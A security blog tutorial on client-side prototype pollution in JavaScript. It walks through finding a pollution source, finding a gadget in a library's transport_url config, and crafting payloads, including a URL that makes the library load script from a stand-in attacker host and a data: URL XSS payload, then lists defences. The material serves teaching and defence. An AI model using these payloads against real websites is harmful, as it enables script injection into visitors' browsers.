Stratos Ally

Prototype Pollution - Client-Side

**Note: The content in this article is only for educational purposes and understanding of cybersecurity concepts. It should enable people and organizations to have a better grip on threats and know how to protect themselves against them. Please use this information responsibly.** 

Prototype pollution is a vulnerability in JavaScript that allows attackers to inject random properties into global object prototypes. These properties can then be inherited by user-defined objects. 

Manually Finding Client-Side Prototype Pollution Sources

Identifying prototype pollution sources manually involves a trial-and-error approach. Essentially, you need to experiment with different methods to add an arbitrary property to Object.prototype until you find a successful source. 

When testing for client-side vulnerabilities, follow these high-level steps: 

Inject Arbitrary Properties: 

Attempt to inject an arbitrary property via the query string, URL fragment, or any JSON input. For example: 

vulnerable-website.com/?__proto__[foo]=bar 

Inspect the Prototype: 

In your browser console, check Object.prototype to see if your arbitrary property has been successfully added: 

Object.prototype.foo 

“bar” indicates successful prototype pollution 

undefined indicates the attack was unsuccessful 

Polluting the gadget 

JavaScript libraries often provide configuration options that allow developers to customize their behavior. These options are typically set through an object passed to the library. However, there’s a potential security pitfall related to how these options are handled. 

Consider a simplified scenario: Imagine a library that expects a configuration object with a property called transport_url. If the developer explicitly sets this property, the library uses it. Otherwise, it falls back to a default value. If the website’s developers fail to set the transport_url property in their configuration object, it becomes a potential vulnerability because: 

  1. JavaScript objects take on their prototypes’ methods and properties. The global Object.prototype is the ultimate ancestor of all objects. 
  1. An attacker can manipulate the prototype chain by adding or modifying properties on Object.prototype. 
  1. If an attacker pollutes Object.prototype with a property like transport_url, it will be inherited by all objects, including the configuration object used by the library. 

Exploitation 

The attacker can craft a URL with a query parameter: 

https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net

When an unsuspecting victim visits this URL, their browser processes it. The __proto__[transport_url] property is added to the global prototype chain. 

Now, any use of config.transport_url in the library resolves to the attacker’s domain (//evil-user.net).The library fetches resources from the attacker-controlled domain 

Walkthrough of prototype pollution client-side 

A. Finding the source of prototype pollution 

  1. Pollute Object.prototype via query parameter by injecting a random property. 

/?__proto__[foo]=bar 

  1. Open Console tab in developers tool. Enter Object.prototype.foo 
  1. If step 2 returns “foo” meaning that foo property has been successfully added to Object.prototype. 

B. Identify a gadget 

  1. Go to the Sources tab in debugger in developers tools. See any javascript files in the DOM sinks. 

We can see both searchLoggerConfigurable.js and deparam.js are loaded by the target site. 

  1. In searchLoggerConfigurable.js, config object has transport_url property, which append the script to DOM dynamically. The transport_url  does not have the value property in Object.defineProperty() method. 

C. Craft an exploit 

  1. First try to inject a random value property. 

/?__proto__[value]=foo 

  1. Now inject XSS using data: 

/?__proto__[value]=data:,alert(1); 

We can see a alert box appear meaning our malicious code got executed. 

Prototype Pollution Prevention 

  • Immutable Prototypes: Implement Object.freeze() on core prototypes 
  • Null Prototype Objects: Utilize Object.create(null) for data storage 
  • Input Validation: Rigorously sanitize JSON inputs 

Conclusion 

Mitigating prototype pollution requires a multi-faceted approach. By implementing these preventive measures, developers can significantly enhance application security against this subtle yet impactful vulnerability. 

more Related articles